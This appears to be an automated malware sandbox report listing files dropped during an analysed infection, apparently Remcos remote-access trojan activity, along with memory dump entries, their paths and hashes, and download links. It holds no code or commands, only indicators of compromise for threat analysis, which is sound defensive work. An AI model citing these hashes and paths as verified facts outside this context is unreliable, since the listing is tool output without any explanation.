SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_raszhkry.scq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raszhkry.scq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pfbwrtvqnxgnfo

Path C:\Users\Admin\AppData\Local\Temp\pfbwrtvqnxgnfo
Size 4KB
SHA256 51827e101e890667e6d9b8aa7b804d56b53cadc110b5b8b834229788c29a65e8
MD5 8651f1ecc401fe73c45d06863467d144
SHA1 0150ba4649afe382ae1705552473bba7beb990f4
SHA512 c0b371d9080c0e82adae100a9400bb7bd239cfe243c072dde0f9310524b92d16a10db9117403d8af227cef9def552dba7c04da3b3bd46a88836acc071cb9890f
SSDEEP 48:wvvv0SlgxfvvcSlgxfdvv0SlgxBvv0Slgxakvv0Slg7:mvBexvJep1vBePvBebvBe7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tendentis.afs

Path C:\Users\Admin\AppData\Roaming\Tendentis.afs
Size 481KB
SHA256 7e4be25568094c695602683c645d736d20141d8074f0136f89dad8f97a5294e1
MD5 40e2726e856af20f6273da18979ccf81
SHA1 9a6fe482414dea4c5046f199d592f829d94fa12e
SHA512 e98cb70a769576dd512ee43c31ef09df7f4f06df3fd94ff7c502f5b30d38d70ce948557a12fa9e61b73f898e3af48ac5d4f8d4d808affe9605c16880ab873fdd
SSDEEP 6144:QWoFhxxr7oze/EjdVPlOhtrBc2EjLlr4hc/pWClsx64m8nVoqyziAn:QWoFLd/ohlTZ4hcR78m8nVoP
MD5 SHA1 SHA512 SSDEEP

Submit Download

logs.dat

Path C:\Users\Admin\remcos\logs.dat
Size 144B
SHA256 fe278ee6fd7cebba2e548f8423e636d6174e06d2c0092783bc70f3a1f8ed0e5d
MD5 56a732838ff2364859474c9a2ede98dd
SHA1 392036a0be2efb2591d970fdb1f0718d4cef7f36
SHA512 7f1403e7ce619526f5eabf8b4ee728ed7a283b2d07f2ceac5138ec2187c8706f87eec420574f3d26868ed12e6a4a8a24ccba78b979148f6187b6354716787662
MD5 SHA1 SHA512

Submit Download

memory/864-76-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/864-74-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/864-71-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1928-89-0x00000000231B0000-0x00000000231C9000-memory.dmp

Download

memory/1928-88-0x00000000231B0000-0x00000000231C9000-memory.dmp

Download

memory/1928-85-0x00000000231B0000-0x00000000231C9000-memory.dmp

Download

memory/1928-60-0x0000000001930000-0x0000000006E90000-memory.dmp

Download

memory/2444-41-0x00000000087C0000-0x000000000DD20000-memory.dmp

Download

memory/3376-73-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3376-77-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3376-78-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4564-75-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/4564-79-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/4564-72-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/5096-26-0x0000000007750000-0x00000000077E6000-memory.dmp

Download

memory/5096-27-0x00000000076E0000-0x0000000007702000-memory.dmp

Download

memory/5096-45-0x00000000746C0000-0x0000000074E70000-memory.dmp

Download

memory/5096-7-0x00000000057C0000-0x0000000005DE8000-memory.dmp

Download

memory/5096-64-0x00000000746C0000-0x0000000074E70000-memory.dmp

Download

memory/5096-43-0x00000000746CE000-0x00000000746CF000-memory.dmp

Download

memory/5096-8-0x00000000746C0000-0x0000000074E70000-memory.dmp

Download

memory/5096-28-0x0000000008940000-0x0000000008EE4000-memory.dmp

Download

memory/5096-4-0x00000000746CE000-0x00000000746CF000-memory.dmp

Download

memory/5096-44-0x00000000746C0000-0x0000000074E70000-memory.dmp

Download

memory/5096-10-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Download

memory/5096-25-0x0000000006A30000-0x0000000006A4A000-memory.dmp

Download

memory/5096-24-0x0000000007D10000-0x000000000838A000-memory.dmp

Download

memory/5096-23-0x00000000064E0000-0x000000000652C000-memory.dmp

Download

memory/5096-22-0x00000000064B0000-0x00000000064CE000-memory.dmp

Download

memory/5096-6-0x00000000746C0000-0x0000000074E70000-memory.dmp

Download

memory/5096-9-0x0000000005600000-0x0000000005622000-memory.dmp

Download

memory/5096-12-0x0000000005ED0000-0x0000000006224000-memory.dmp

Download

memory/5096-11-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Download

memory/5096-5-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

Download